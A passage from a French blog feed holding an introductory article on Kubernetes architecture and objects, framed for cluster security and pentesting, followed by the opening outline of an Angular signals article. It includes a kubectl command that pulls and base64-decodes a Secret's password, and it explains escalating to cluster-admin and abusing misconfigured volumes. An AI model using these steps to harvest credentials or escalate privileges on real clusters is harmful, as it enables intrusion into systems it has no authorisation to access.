<p>Chaque nœud peut correspondre à <strong>une machine physique</strong> ou <strong>virtuelle</strong>. Généralement, un cluster comprend au moins <strong>un nœud maître</strong> et <strong>plusieurs nœuds de travail</strong>. En production, on utilise souvent plusieurs nœuds maîtres, typiquement trois, pour la haute disponibilité. Le nombre de nœuds de travail est variable et peut s’ajuster selon la charge.</p>
<p><img src="https://zesty.co/wp-content/uploads/2024/10/k8s-nodes-master-node_worker-node.png" alt="What Are Nodes in Kubernetes? Master &amp; Worker Nodes Explained" /></p>
<p>Ces nœuds, qu’ils soient des machines physiques ou virtuelles, ainsi que le réseau et le stockage, constituent <strong>la couche matérielle</strong> du cluster.</p>
<p>Par-dessus vient <strong>la couche logique</strong> Kubernetes. Elle transforme cet ensemble en une plateforme unique qui orchestre le déploiement des applications, leur mise à l’échelle, leur redémarrage en cas de panne et la communication entre eux.</p>
<h3 id="heading-noeud-maitre-ou-master-node">Nœud <strong>maître</strong> (ou master node)</h3>
<p>Le <strong>nœud maître porte le plan de contrôle</strong>. Il expose l’API permettant de contacter et récupérer des informations sur le cluster Kubernetes, garde l’état du cluster, décide où exécuter les applications et s’assure que ce qui tourne correspond à ce qui est demandé.</p>
<p>Pour déployer un cluster Kubernetes, il est nécessaire de choisir une distribution Kubernetes (k3s, RKE2, etc.). Elles se distinguent surtout par le mode d’installation et de gestion, le stockage de l’état, les composants fournis par défaut, le niveau de durcissement et la façon de mettre à jour.</p>
<p>Malgré ces variations, on retrouve les mêmes briques au sein du plan de contrôle.</p>
<ul>
<li><p>🌐 <strong>Serveur d’API (kube-apiserver)</strong> : point d’entrée du cluster, il gère l’authentification, l’autorisation et la validation des requêtes. On peut joindre cette API depuis une machine de développement / gestion hors du cluster avec l’outil « kubectl ». C’est par cette API que l’on administre l’ensemble du cluster.</p>
</li>
<li><p>🛢 <strong>Magasin d’état</strong> : base de données sous forme « clé-valeur », qui conserve l’état du cluster (le plus souvent <strong>etcd</strong>). Il peut être hébergé sur les nœuds maîtres ou externalisé sur des machines séparées.</p>
</li>
<li><p>📝 <strong>Planificateur (kube-scheduler)</strong> : choisit sur quels nœuds exécuter les applications selon les ressources et contraintes.</p>
</li>
<li><p>🔄 <strong>Gestionnaires de contrôleurs (kube-controller-manager et éventuellement cloud-controller-manager)</strong> : surveillent l’écart entre l’état voulu et l’état réel et déclenchent les actions nécessaires.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1627227041570/vq8vkHfJF.png" alt="Kubernetes Architecture - Master Node" /></p>
<p>Le rôle de ces briques est le même partout : seules les technologies, l’assemblage et la configuration varient, selon la distribution. Ces éléments forment le plan de contrôle, qui est le cerveau du cluster.</p>
<h3 id="heading-noeud-de-travail-ou-worker-node">Nœud de travail (ou worker node)</h3>
<p>Le nœud de travail exécute les applications. Il s’appuie sur <strong>les ressources de sa machine physique ou virtuelle</strong> (CPU, GPU éventuels, mémoire RAM, réseau et stockage local). Il applique les décisions du plan de contrôle et remonte son état.</p>
<p>Encore une fois selon la distribution, la mise en place varie, mais on retrouve les mêmes briques.</p>
<ul>
<li><p>☁️ <strong>kubelet</strong> : agent du nœud qui reçoit les ordres du plan de contrôle, lance les applications et vérifie leur bon fonctionnement.</p>
</li>
<li><p>📶 <strong>proxy (kube-proxy ou équivalent eBPF)</strong> : met en place le routage et la traduction nécessaires aux services.</p>
</li>
<li><p>🏗️ <strong>Runtime de conteneur</strong> : le moteur qui lance et arrête les conteneurs. Typiquement containerd, utilisé aussi par Docker, ou CRI-O, conçu pour Kubernetes.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761728734620/1a3b59f9-f95a-42ac-adb3-523c623f0129.png" alt class="image--center mx-auto" /></p>
<p>D’autres composants peuvent aussi être présents, par exemple des plugins CSI pour le stockage, ainsi que des agents de logs et de métriques. Nous n’entrerons pas dans ces détails ici.</p>
<p>⚠️ <strong>À noter</strong> : un nœud maître peut parfois également être un nœud de travail. Bien que cela ne soit pas du tout recommandé d’un point de vue sécurité, c’est parfois le cas.</p>
<h3 id="heading-pods">Pods</h3>
<p>Un pod Kubernetes regroupe un ou plusieurs conteneurs étroitement liés. <strong>C’est la plus petite unité déployable et gérable dans Kubernetes</strong>. Contrairement aux nœuds, qui sont des machines physiques ou virtuelles, un pod n’a pas d’existence matérielle. Le nœud maître choisit un nœud de travail sur lequel l’exécuter et en supervise le fonctionnement. Les conteneurs d’un même pod partagent la même adresse IP, des volumes de stockage et le même cycle de vie.</p>
<p>On peut l’assimiler à un petit groupe de conteneurs qui doivent toujours démarrer ensemble, ce qui se rapproche d’un usage simple de <strong>docker-compose</strong> sans en être l’équivalent exact.</p>
<p><img src="https://storage.googleapis.com/algodailyrandomassets/curriculum/software-engineering/kubernetes/NodePodCluster.png" alt="AlgoDaily - Introduction to Kubernetes" /></p>
<p>Dans la pratique, on déploie rarement des pods seuls. On passe par un objet Kubernetes « Deployment » qui décrit l’état voulu de l’application et orchestre la création et la mise à jour des pods ainsi que les ressources associées. Nous y reviendrons plus loin dans l’article.</p>
<h3 id="heading-tldr-en-resume">TL;DR - En résumé</h3>
<p>Un nœud est une machine physique ou virtuelle. Un nœud peut héberger plusieurs pods. Un pod regroupe un ou plusieurs conteneurs qui partagent la même adresse IP et des volumes.</p>
<p>Le nœud maître pilote le plan de contrôle. Il expose l’API, maintient l’état et décide où placer les applications. Les nœuds de travail exécutent ces décisions et fournissent CPU, mémoire, réseau et stockage.</p>
<h2 id="heading-objets-kubernetes">Objets Kubernetes</h2>
<p>Après avoir présenté l’architecture d’un cluster, il est temps d’aborder la couche logique que Kubernetes met en place pour mobiliser les ressources.</p>
<p>Dans Kubernetes, tout est objet. L’état voulu d’un objet est décrit dans un fichier <strong>YAML</strong> appelé <strong>manifeste</strong>. Dans un manifeste YAML, on indique l’objet à créer avec l’attribut <code>kind</code>. Le reste du manifeste décrit la configuration de cet objet.</p>
<p>Depuis la machine de l’utilisateur, il est alors possible d’utiliser l’outil <strong>kubectl</strong> pour contacter le serveur d’API (<strong>kube-apiserver</strong>) du plan de contrôle et lui soumettre les manifestes décrivant les objets à créer ou à modifier dans le cluster.</p>
<p><img src="https://kinvolk.io/assets/images/kubernetes-apiserver-proxying-3a6572ed38ce779eb990bd19ea746ecb.svg" alt="Diagram showing a user accessing pods through the API server." /></p>
<p>Le serveur d’API enregistre ces objets et les fait persister. Les contrôleurs du plan de contrôle <strong>(kube-controller-manager et éventuellement cloud-controller-manager)</strong> comparent en continu l’état voulu et l’état réel, puis déclenchent les actions nécessaires. Ainsi, CPU, mémoire, réseau et stockage peuvent être pilotés sans intervenir directement sur les machines.</p>
<p>Dans cette partie, nous allons aborder les objets les plus utiles et sensibles côté sécurité.</p>
<h3 id="heading-deployments">Deployments</h3>
<p>Le Deployment est un objet prévu pour décrire l’état voulu d’un <strong>groupe de pods identiques</strong> et Kubernetes crée puis remplace ces pods pour respecter cet état. Un Deployment peut déclarer ou référencer d’autres ressources de l’écosystème Kubernetes avec lesquelles ce groupe de pods interagit.</p>
<p>Cet objet ne contient pas les autres ressources comme les Secrets, volumes ou Services. Il les référence pour que les pods puissent les utiliser, ces ressources étant définies séparément. En revanche, les pods qu’il lance lui appartiennent et il veille à en maintenir le nombre demandé.</p>
<p>Prenons un cas d’exemple d’un manifeste YAML décrivant un objet Deployment simple.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">2</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">web</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">web</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">nginx:1.25</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">80</span>
          <span class="hljs-attr">env:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">DB_USER</span>
              <span class="hljs-attr">valueFrom:</span>
                <span class="hljs-attr">secretKeyRef:</span>
                  <span class="hljs-attr">name:</span> <span class="hljs-string">app-secret</span>
                  <span class="hljs-attr">key:</span> <span class="hljs-string">DB_USER</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">DB_PASSWORD</span>
              <span class="hljs-attr">valueFrom:</span>
                <span class="hljs-attr">secretKeyRef:</span>
                  <span class="hljs-attr">name:</span> <span class="hljs-string">app-secret</span>
                  <span class="hljs-attr">key:</span> <span class="hljs-string">DB_PASSWORD</span>
          <span class="hljs-attr">volumeMounts:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">data</span>
              <span class="hljs-attr">mountPath:</span> <span class="hljs-string">/data</span>
      <span class="hljs-attr">volumes:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">data</span>
          <span class="hljs-attr">persistentVolumeClaim:</span>
            <span class="hljs-attr">claimName:</span> <span class="hljs-string">web-data</span>
</code></pre>
<p>Ce manifeste définit un <strong>Deployment</strong> nommé web. Il crée deux pods identiques (replicas 2) étiquetés <code>app=web</code>, qui exécutent l’image <code>nginx:1.25</code> et exposent le <code>port 80</code> du conteneur.</p>
<p>Les variables d’environnement <code>DB_USER</code> et <code>DB_PASSWORD</code> sont lues depuis un <strong>Secret</strong> nommé app-secret, stocké dans le cluster. Ce Secret est défini dans un autre manifeste YAML.</p>
<p>Également, le répertoire <code>/data</code> du conteneur est monté depuis un volume persistant qui est également un objet Kubernetes de type « PersistentVolumeClaim », défini dans un autre manifeste YAML .</p>
<p>Il est alors possible de déployer l’ensemble de ces objets dans le cluster pour mettre l’application en service. L’outil « kubectl », installé sur une machine externe au cluster et correctement configuré, envoie les manifestes YAML au serveur d’API du plan de contrôle qui les enregistre et déclenche leur création.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Déploiement des objets depuis le fichier YAML</span>
<span class="hljs-string">$</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">apply</span> <span class="hljs-string">-f</span> <span class="hljs-string">web-deploy.yaml</span>
<span class="hljs-string">secret/app-secret</span> <span class="hljs-string">created</span>
<span class="hljs-string">persistentvolumeclaim/web-data</span> <span class="hljs-string">created</span>
<span class="hljs-string">deployment.apps/web</span> <span class="hljs-string">created</span>

<span class="hljs-comment"># Vérifier le déploiement</span>
<span class="hljs-string">$</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">deploy</span> <span class="hljs-string">web</span>
<span class="hljs-string">NAME</span>   <span class="hljs-string">READY</span>   <span class="hljs-string">UP-TO-DATE</span>   <span class="hljs-string">AVAILABLE</span>   <span class="hljs-string">AGE</span>
<span class="hljs-string">web</span>    <span class="hljs-number">2</span><span class="hljs-string">/2</span>     <span class="hljs-number">2</span>            <span class="hljs-number">2</span>           <span class="hljs-string">25s</span>

<span class="hljs-comment"># Vérifier les pods créés par le Deployment</span>
<span class="hljs-string">$</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">pods</span> <span class="hljs-string">-l</span> <span class="hljs-string">app=web</span>
<span class="hljs-string">NAME</span>                     <span class="hljs-string">READY</span>   <span class="hljs-string">STATUS</span>    <span class="hljs-string">RESTARTS</span>   <span class="hljs-string">AGE</span>
<span class="hljs-string">web-7c89f4d64c-4xq9t</span>     <span class="hljs-number">1</span><span class="hljs-string">/1</span>     <span class="hljs-string">Running</span>   <span class="hljs-number">0</span>          <span class="hljs-string">22s</span>
<span class="hljs-string">web-7c89f4d64c-bp5km</span>     <span class="hljs-number">1</span><span class="hljs-string">/1</span>     <span class="hljs-string">Running</span>   <span class="hljs-number">0</span>          <span class="hljs-string">22s</span>

<span class="hljs-comment"># Vérifier le volume persistant réclamé (PVC)</span>
<span class="hljs-string">$</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">pvc</span> <span class="hljs-string">web-data</span>
<span class="hljs-string">NAME</span>       <span class="hljs-string">STATUS</span>   <span class="hljs-string">VOLUME</span>                                     <span class="hljs-string">CAPACITY</span>   <span class="hljs-string">ACCESS</span> <span class="hljs-string">MODES</span>   <span class="hljs-string">STORAGECLASS</span>   <span class="hljs-string">AGE</span>
<span class="hljs-string">web-data</span>   <span class="hljs-string">Bound</span>    <span class="hljs-string">pvc-1a2b3c4d-5678-90ab-cdef-112233445566</span>   <span class="hljs-string">1Gi</span>        <span class="hljs-string">RWO</span>            <span class="hljs-string">standard</span>       <span class="hljs-string">30s</span>

<span class="hljs-comment"># Vérifier le Secret</span>
<span class="hljs-string">$</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">secret</span> <span class="hljs-string">app-secret</span>
<span class="hljs-string">NAME</span>         <span class="hljs-string">TYPE</span>     <span class="hljs-string">DATA</span>   <span class="hljs-string">AGE</span>
<span class="hljs-string">app-secret</span>   <span class="hljs-string">Opaque</span>   <span class="hljs-number">2</span>      <span class="hljs-string">34s</span>
</code></pre>
<p>Comme il est possible de le constater, <strong>trois objets</strong> ont bien été créés dans le cluster : <strong>un Deployment</strong>, <strong>un PersistentVolumeClaim</strong> (stockage persistant) et un <strong>Secret</strong>, même si les deux derniers n’étaient pas montrés en YAML.</p>
<p>Avec la commande kubectl get, il est possible de lister leur état et de vérifier que le Deployment est prêt, que le <strong>PersistentVolumeClaim</strong> est lié à un volume et que le Secret est présent. Il est aussi possible de voir que les 2 pods rattachés au Deployment sont en exécution, conformément au nombre de réplicas demandé.</p>
<p>ℹ️ <strong>Information</strong> : Il est en soi possible de créer un pod unique qui contient ses conteneurs. Ce pod fonctionnerait, mais il resterait limité dans l’écosystème Kubernetes. Il ne bénéficierait pas pleinement des <strong>mises à jour contrôlées</strong>, de la <strong>reprise automatique en cas de panne</strong>, de l’<strong>augmentation du nombre d’instances</strong> ni d’une intégration avec le <strong>stockage persistant</strong>, la <strong>configuration réseau</strong> ou les <strong>secrets</strong>.</p>
<h3 id="heading-secrets">Secrets</h3>
<p>Un Secret est un objet Kubernetes pour stocker des données sensibles comme des mots de passe, des clés ou des tokens. Il est stocké dans le <strong>magasin d’état du cluster</strong>, souvent etcd (comme tous les objets du cluster). Dans l’objet tel qu’il est stocké dans le cluster et renvoyé par l’API, les valeurs sont encodées en base64. Dans un manifeste local, il est possible de les écrire en clair et Kubernetes fera l’encodage, ou bien les fournir déjà encodées.</p>
<p>Exemple d’un manifeste local :</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Secret</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app-secret</span>
<span class="hljs-attr">type:</span> <span class="hljs-string">Opaque</span>
<span class="hljs-attr">stringData:</span>
  <span class="hljs-attr">DB_USER:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">DB_PASSWORD:</span> <span class="hljs-string">s3cr3t</span>
</code></pre>
<p>Après le déploiement de ce Secret dans le cluster Kubernetes, il est possible d’en récupérer les valeurs avec « kubectl ». Elles sont renvoyées encodées en base64 par l’API du plan de contrôle et peuvent être décodées si besoin.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Lister</span>
$ kubectl get secret app-secret
NAME         TYPE     DATA   AGE
app-secret   Opaque   2      34s

<span class="hljs-comment"># Voir le contenu encodé</span>
$ kubectl get secret app-secret -o yaml
apiVersion: v1
data:
  DB_PASSWORD: czNjcjN0
  DB_USER: YXBw
kind: Secret
metadata:
  name: app-secret
<span class="hljs-built_in">type</span>: Opaque

<span class="hljs-comment"># Récupérer et décoder une clé</span>
$ kubectl get secret app-secret -o jsonpath=<span class="hljs-string">'{.data.DB_PASSWORD}'</span> | base64 -d
s3cr3t
</code></pre>
<p><strong>D’un point de vue sécurité</strong>, le base64 n’est pas un chiffrement. Si une personne a accès aux Secrets et dispose des droits nécessaires, elle peut en lire les valeurs. Cela peut faciliter une compromission plus large et une latéralisation dans le cluster.</p>
<p>Exemple : un Secret contient des identifiants administrateur d’une application web. Un utilisateur du cluster ayant l’accès et les droits nécessaires peut récupérer ces identifiants, pourra se connecter à l’application avec des privilèges d’administration et potentiellement agir en dehors de son périmètre prévu.</p>
<h3 id="heading-configmaps">ConfigMaps</h3>
<p>Un objet Kubernetes ConfigMap permet de séparer la configuration du code. La même image tourne en dev, préprod et prod avec des valeurs différentes. La configuration se met à jour sans reconstruire l’image et peut être partagée entre plusieurs Deployments.</p>
<p>Il est théoriquement possible d’écrire des valeurs de configuration directement dans un Deployment ou de les embarquer dans l’image du conteneur. Cela fonctionne, mais oblige à modifier le manifeste et à redéployer pour chaque changement, ou à reconstruire l’image. On duplique alors la configuration entre environnements et le risque de fuite augmente.</p>
<p>Exemple :</p>
<pre><code class="lang-bash">apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  APP_MODE: <span class="hljs-string">"prod"</span>
  API_URL: <span class="hljs-string">"https://api.example.com"</span>
</code></pre>
<p>Un pod peut alors lire ces valeurs comme variables d’environnement ou en les montant sous forme de fichiers.</p>
<p>Bien que ce soit une mauvaise pratique, il arrive que des valeurs sensibles se retrouvent dans un ConfigMap. Comme son contenu est stocké et renvoyé en clair par l’API, toute personne ou tout pod ayant accès à l’objet peut les lire.</p>
<p>Extrait pour récupérer une valeur :</p>
<pre><code class="lang-bash">$ kubectl get configmap app-config -o jsonpath=<span class="hljs-string">'{.data.API_URL}'</span>
https://api.example.com
</code></pre>
<p><strong>D’un point de vue sécurité</strong>, il arrive que des données sensibles y soient stockées par erreur. Or, contrairement aux Secrets, les ConfigMaps ne sont <strong>pas encodés</strong> : leur contenu est visible en clair. De plus, les droits de lecture (RBAC) sur les ConfigMaps sont souvent plus larges. Un attaquant ayant accès à ces objets peut donc récupérer des identifiants ou tokens immédiatement exploitables, sans aucune étape de décodage.</p>
<h3 id="heading-persistentvolumeclaim-pvc-et-persistentvolume-pv"><strong>PersistentVolumeClaim (PVC) et PersistentVolume (PV)</strong></h3>
<p>Un <strong>PersistentVolumeClaim (PVC)</strong> est une demande de stockage persistant et un <strong>PersistentVolume (PV</strong>) est <strong>le volume obtenu en réponse au PVC</strong> : c’est <strong>l’objet concret</strong> qui représente le stockage dans le cluster (le « disque »).</p>
<p>Concrètement, cela permet à un pod d’obtenir un espace disque monté dans le conteneur. Les données restent présentes même si le pod est recréé. Si plusieurs pods montent le même <strong>PersistentVolumeClaim (PVC)</strong>, ils partagent les mêmes fichiers.</p>
<p>Quand un <strong>PersistentVolumeClaim (PVC) est supprimé</strong>, la <strong>liaison</strong> avec le <strong>PersistentVolume (PV)</strong> disparaît et le pod <strong>perd le volume</strong>. Le <strong>PV peut rester ou être supprimé</strong> selon son réglage.</p>
<p>Exemple :</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">PersistentVolumeClaim</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">web-data</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">accessModes:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">ReadWriteOnce</span>
  <span class="hljs-attr">resources:</span>
    <span class="hljs-attr">requests:</span>
      <span class="hljs-attr">storage:</span> <span class="hljs-string">1Gi</span>
</code></pre>
<p>Cette demande de stockage de 1 Go permet, par exemple, à une application web d’enregistrer des fichiers envoyés par les utilisateurs dans <strong>/data</strong>. Si le pod redémarre ou est recréé, ces fichiers restent présents, car le volume persiste indépendamment du pod. Sans stockage persistant, le pod écrirait dans un système de fichiers éphémère et toute donnée serait perdue à chaque recréation du pod.</p>
<p>Cet objet présente des risques de sécurité. Par exemple, un utilisateur disposant des droits nécessaires peut récupérer des données sensibles stockées dans un <strong>PersistentVolume (PV)</strong>. Des <strong>PersistentVolume (PV)</strong> peuvent aussi rester présents dans le cluster après la suppression du <strong>PersistentVolumeClaim (PVC)</strong> si le nettoyage n’a pas été effectué ou si la politique de rétention les conserve.</p>
<p><strong>D’un point de vue sécurité</strong>, l’accès aux données d’un PersistentVolume (PV) est un risque direct : un utilisateur ou un pod ayant les droits nécessaires sur le PersistentVolumeClaim (PVC) peut lire des données sensibles stockées par l'application. Plus grave encore, si le PersistentVolume (PV) est mal configuré, il devient possible de <strong>monter un répertoire critique du nœud de travail</strong> lui-même. Cela permet potentiellement à un attaquant d'examiner et de modifier les fichiers du système d'exploitation du nœud, menant à une <strong>compromission totale de la machine hôte et potentiellement du cluster</strong>.</p>
<h3 id="heading-objets-de-gestion-de-droits-rbac">Objets de gestion de droits (RBAC)</h3>
<p><strong>ServiceAccount, Role et RoleBinding</strong></p>
<p>Un ServiceAccount (SA) est <strong>l’identité d’un pod</strong> quand il doit parler à l’<strong>API Kubernetes</strong> qui est dans <strong>le plan de contrôle</strong>. Il permet de <strong>donner des permissions précises</strong> à une application via RBAC (rôles et liaisons). Par défaut, si rien n’est précisé, un pod utilise un <strong>ServiceAccount par défaut,</strong> ce qui est une mauvaise pratique.</p>
<p>Exemple d’un manifeste d’un <strong>ServiceAccount</strong> :</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">web-sa</span>
</code></pre>
<p>À ce stade, ce <strong>ServiceAccount</strong> n’a aucun droit : il existe dans le cluster Kubernetes mais ne peut rien faire. Pour lui donner des permissions, on crée deux objets : un <strong>Role</strong> (les droits) et un <strong>RoleBinding</strong> (le lien entre le Role et le ServiceAccount).</p>
<p>Le <strong>Role</strong> définit les actions autorisées sur des ressources spécifiques :</p>
<pre><code class="lang-yaml">
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">rbac.authorization.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Role</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">web-read-config</span>
<span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">""</span>]
    <span class="hljs-attr">resources:</span> [<span class="hljs-string">"configmaps"</span>]
    <span class="hljs-attr">verbs:</span> [<span class="hljs-string">"get"</span>, <span class="hljs-string">"list"</span>, <span class="hljs-string">"watch"</span>]
</code></pre>
<p>Et le dernier objet <strong>RoleBinding</strong> va lier l’objet <strong>Role</strong> à l’objet <strong>ServiceAccount</strong> qui va alors récupérer ces droits.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">rbac.authorization.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">RoleBinding</span>
<span class="hljs-attr">metadata:</span>
<span class="hljs-attr">name:</span> <span class="hljs-string">web-read-config-binding</span>
<span class="hljs-attr">subjects:</span>

<span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span>
<span class="hljs-attr">name:</span> <span class="hljs-string">web-sa</span>
<span class="hljs-attr">roleRef:</span>
<span class="hljs-attr">apiGroup:</span> <span class="hljs-string">rbac.authorization.k8s.io</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Role</span>
<span class="hljs-attr">name:</span> <span class="hljs-string">web-read-config</span>
</code></pre>
<p>L’avantage de ce fonctionnement est qu’il est alors possible de lier plusieurs objets <strong>ServiceAccount</strong> à un même <strong>Role</strong> et donc plusieurs <strong>ServiceAccount</strong> peuvent hériter du même droit. Cela évite la multiplication des objets.</p>
<p>⚠️ <strong>Attention</strong> : ces <strong>objets</strong> ne sont pas déclarés à l’échelle du cluster, mais <strong>au sein d’un sous-espace</strong> du cluster appelé <strong>namespace</strong>. L’explication de ce qu’est un namespace sera donnée dans le <strong>deuxième article</strong>, pas dans celui-ci. Afin de mieux comprendre ce fonctionnement, des exemples simples sont détaillés dans la suite de cet article.</p>
<hr />
<p><strong>ClusterRole et ClusterRoleBinding</strong></p>
<p>Comme expliqué dans la partie précédente, les objets Kubernetes <strong>Role</strong> et <strong>RoleBinding</strong> ne sont pas définis à l’échelle du cluster, mais dans un sous-espace appelé <strong>namespace</strong>. À l’inverse, il existe des objets équivalents, avec la même logique, portés au niveau du cluster : <strong>ClusterRole</strong> et <strong>ClusterRoleBinding</strong>.</p>
<p>L’objectif est de définir des permissions qui s’appliquent à <strong>tous les sous-espaces (namespace)</strong> et de permettre l’<strong>administration du cluster</strong> sans dupliquer les règles partout. Par exemple, lier un sujet au <strong>ClusterRole</strong> <code>cluster-admin</code> via un <strong>ClusterRoleBinding</strong> accorde tous les droits sur l’API du cluster.</p>
<hr />
<p><strong>Exemple analogique simple</strong></p>
<p>Afin d’expliquer au mieux le fonctionnement des droits au sein d’un cluster Kubernetes, voici une analogie simple en lien avec le milieu de l’entreprise :</p>
<p><em>Dans cette analogie, chaque</em> <strong><em>département</em></strong> <em>de l’entreprise représente un</em> <strong><em>namespace</em></strong>.</p>
<p>Dans le département <strong>Marketing</strong> (<strong>Namespace</strong>), on crée <strong>le droit</strong> « obtenir un café gratuit » (<strong>Role</strong>). <strong>Alice</strong> (<strong>ServiceAccount</strong>) et <strong>Bob</strong> (<strong>ServiceAccount</strong>) reçoivent chacun <strong>une carte</strong> (<strong>RoleBinding</strong>) qui relie ce droit (<strong>Role</strong>) à leur identité. Leur carte est valide uniquement dans le <strong>département Marketing</strong> (<strong>Namespace</strong>).</p>
<p>Dans le département <strong>Finance</strong> (<strong>Namespace</strong>), <strong>Camille</strong> (<strong>ServiceAccount</strong>) possède une carte globale (<strong>ClusterRoleBinding</strong>) vers <strong>le droit</strong> « café gratuit entreprise » (<strong>ClusterRole</strong>). Elle peut utiliser tous les distributeurs de l’entreprise, y compris ceux d’autres <strong>départements</strong> (<strong>Namespaces</strong>).</p>
<p>Remarque : une carte de <strong>département</strong> (<strong>RoleBinding</strong>) peut aussi pointer vers un <strong>droit global</strong> (<strong>ClusterRole</strong>) ; dans ce cas, le droit reste limité au <strong>département</strong> (<strong>Namespace</strong>) où se trouve la <strong>carte</strong> (<strong>RoleBinding</strong>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761836669039/55956b19-020c-4328-9c75-5e4d2437811e.png" alt class="image--center mx-auto" /></p>
<hr />
<p><strong>Aspect sécurité</strong></p>
<p>Ces objets Kubernetes sont essentiels à connaître et à maîtriser lors d’un pentest de cluster. Comme en pentest Active Directory, l’objectif est d’escalader ses privilèges jusqu’au <strong>contrôle total</strong>. Dans AD, cela correspond au groupe <strong>« Administrateurs du domaine »</strong>. Dans Kubernetes, cela revient à obtenir le <strong>ClusterRole</strong> <code>cluster-admin</code>, rattaché via un <strong>ClusterRoleBinding</strong>. Ce niveau donne <strong>tous les droits</strong> sur l’API du cluster. C’est le Graal 🏆</p>
<h2 id="heading-conclusion-et-ouverture">Conclusion et ouverture</h2>
<p>Dans ce premier article, on a présenté les bases : nœuds, plan de contrôle, objets clés (Pods, Deployments, Secrets, ConfigMaps, PVC/PV) et les éléments d’identité et de droits avec les ServiceAccounts et le RBAC.</p>
<p>La suite ira plus loin sur la sécurité d’un cluster Kubernetes. On abordera le cloisonnement, qu’il soit logique (namespaces) ou réseau (communications entre pods et segments), en expliquant leur fonctionnement et les principaux points de sécurité associés : isolation, contrôle des accès et politiques de communication.</p>
]]></content:encoded></item><item><title><![CDATA[Signals, La Réactivité d’Angular Simplifiée]]></title><description><![CDATA[Dans cet article, vous trouverez :

Une brève histoire de la gestion de state dans Angular

Pourquoi Angular adopte les signals

Des exemples de gestion de state entre trois composants utilisant l'API @Input et @Output

Un exemple montrant comment le...]]></description><link>https://niji.tech/signals-angular-reacting-simplified</link><guid isPermaLink="true">https://niji.tech/signals-angular-reacting-simplified</guid><category><![CDATA[Angular 2]]></category><category><![CDATA[Angular Signals]]></category><category><![CDATA[State Management ]]></category><category><![CDATA[Frontend Development]]></category><dc:creator><![CDATA[Ana]]></dc:creator><pubDate>Wed, 17 Dec 2025 16:05:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765888914639/84f17e49-f589-4e51-a9a3-406c70228d7e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans cet article, vous trouverez :</p>
<ul>
<li><p>Une brève histoire de la gestion de <em>state</em> dans Angular</p>
</li>
<li><p>Pourquoi Angular adopte les <em>signals</em></p>
</li>
<li><p>Des exemples de gestion de <em>state</em> entre trois composants utilisant l'API @Input et @Output</p>
</li>
<li><p>Un exemple montrant comment les <em>signals</em> simplifient la gestion de <em>state</em></p>
</li>
<li><p>Une explication des <em>signals</em></p>
</li>
<li><p>Vue d'ensemble de l'API des <em>signals</em></p>
</li>
<li><p>L'avenir d'Angular sans zone et basé sur les <em>signals</em></p>
</li>
</ul>
